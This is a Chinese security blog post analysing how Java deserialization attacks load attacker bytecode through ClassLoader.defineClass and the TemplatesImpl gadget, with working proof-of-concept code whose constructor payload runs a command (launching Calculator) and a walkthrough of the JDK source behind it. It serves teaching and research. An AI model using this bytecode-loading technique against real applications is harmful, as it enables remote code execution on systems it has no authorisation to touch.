Java反序列化恶意代码执行方法(二)

ClassLoader类

无论加载远程class还是本地class或者jar文件,调用过程都是下面三个方法:

  • loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
  • findClass的作用是根据基础URL指定的方式(URLClassLoader)来加载类的字节码,例如在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类核心在defineClass,决定了如何将一段字节流转变成一个Java类,Java默认的ClassLoader#defineClass是一个native方法,逻辑在JVM的C语言代码中。我们无法直接外部调用这些方法来加载字节码,但是有一些库中包含了部分代码完成了这个过程,我们可以利用这些库达到目的。

生成字节码

1
2
3
4
5
6
public byte[] getByteCode(String className) 
throws NotFoundException, IOException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(className);
return ctClass.toBytecode();
}

利用defineClass读取字节码

Test类,编译成class文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Test {
public Test() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}

public void aaa(){
System.out.println("Method invoke");
}

public static void bbb(){
System.out.println("Static Method invoke");
}

private void ccc(){
System.out.println("Private Method invoke");
}

protected void ddd(){
System.out.println("Protected Method invoke");
}
}

利用defineClass读取字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// get byte code
byte[] b = Files.readAllBytes(Paths.get("Test.class"));

// get defineClass function
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

// get Class「Test」by defineClass
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class cls = (Class) defineClass.invoke(classLoader, "Test", b, 0, b.length);

// public function
Method m1 = cls.getDeclaredMethod("aaa");
// Method m1 = cls.getMethod("aaa");
// m1.setAccessible(true);
Object obj = ClassLoader.getSystemClassLoader().loadClass("Test").newInstance();
m1.invoke(obj,null);

// static function
Method m2 = cls.getDeclaredMethod("bbb");
// Method m2 = cls.getMethod("bbb");
// m2.setAccessible(true);
// m2.invoke(obj,null);
m2.invoke(null, null);

// private function
Method m3 = cls.getDeclaredMethod("ccc");
m3.setAccessible(true);
m3.invoke(obj,null);

// protected function
Method m4 = cls.getDeclaredMethod("ddd");
m4.setAccessible(true);
m4.invoke(obj,null);

TemplatesImpl加载字节码

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplForTest {

// get Byte Code
public static byte[] getByteCode(String className) throws NotFoundException, IOException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(className);
return ctClass.toBytecode();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException {

byte[] bytes = getByteCode("Test");

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "lousix");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

}
}

Test类(必须要继承AbstractTranslet 类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
public Test() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

分析

代码执行主要发生在TemplatesImpl的实例化过程中,

newTransformer函数中的getTransletInstance 函数,存在将_class实例化的方法,跟进_class相关操作defineTransletClasses 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

defineTransletClasses 函数里先声明了一个TransletClassLoader的类加载器,然后通过该类加载器的defineClass函数加载字节码,改defineClass函数会直接调用ClassLoader中的defineClass,导致恶意代码执行。

同时,也需要关注一些特殊的变量设置

1、TemplatesImpl中的_tfactory

defineTransletClasses中需要_tfactory 调用getExternalExtensionsMap 函数,因而_tfactory 必须为TransformerFactoryImpl 类型

2、恶意代码必须继承AbstractTranslet

_class[]实例化的过程中_transletIndex的初始值为-1

defineTransletClasses 中,如果判断_class[i]的父类为AbstractTranslet 类型,则会修改_transletIndex的值为当前_class[]执行实例化的字节码的i

参考

https://www.geekby.site/2021/08/java反序列化漏洞-4/

https://blog.csdn.net/solitudi/article/details/119082164


Java反序列化恶意代码执行方法(二)
http://blog.lousix.top/2023/03/08/Java反序列化恶意代码执行方法(二)/
作者
Lousix
发布于
2023年3月8日
许可协议